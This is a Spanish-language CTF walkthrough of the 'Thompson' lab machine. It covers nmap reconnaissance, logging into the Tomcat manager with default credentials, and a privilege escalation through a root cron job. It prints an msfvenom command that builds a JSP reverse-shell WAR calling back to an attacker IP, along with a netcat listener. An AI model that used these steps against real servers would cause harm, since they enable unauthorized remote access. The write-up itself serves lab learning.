Thompson

Thompson
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy - stuxnet

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

thompson

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.154.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 10:57 -03
Initiating SYN Stealth Scan at 10:57
Scanning 10.10.154.205 [65535 ports]
Discovered open port 22/tcp on 10.10.154.205
Discovered open port 8080/tcp on 10.10.154.205
Discovered open port 8009/tcp on 10.10.154.205
Completed SYN Stealth Scan at 10:58, 17.89s elapsed (65535 total ports)
Nmap scan report for 10.10.154.205
Host is up, received user-set (0.23s latency).
Scanned at 2025-03-26 10:57:46 -03 for 18s
Not shown: 63985 closed tcp ports (reset), 1547 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8009/tcp open  ajp13      syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.97 seconds
           Raw packets sent: 87394 (3.845MB) | Rcvd: 70191 (2.808MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p22,8009,8080 -oN servicesScan 10.10.154.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 11:01 -03
Nmap scan report for 10.10.154.205 (10.10.154.205)
Host is up (0.23s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.78 seconds

Explotación inicial

HTTP (8080) - Apache Tomact/8.5.5

thompson

Ingresamos al panel de Admin con tomcat:s3cret.

thompson

Generamos una reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.9.0.64 LPORT=4444 -f war -o shell.war

Nos ponemos en escucha con NetCat por el puerto 4444.

nc -lnvp

thompson

En el listado de aplicaciones, accdemos a la nuestra.

thompson

Leemos el flag de user.txt

thompson

thompson

Elevación de privilegios

Hay una tarea cron que se ejecuta como root la cual corre el script id.sh. Nos aprovechamos de esta para escalar privilegios.

thompson thompson

Post Explotación

Leemos la flag de root.

thompson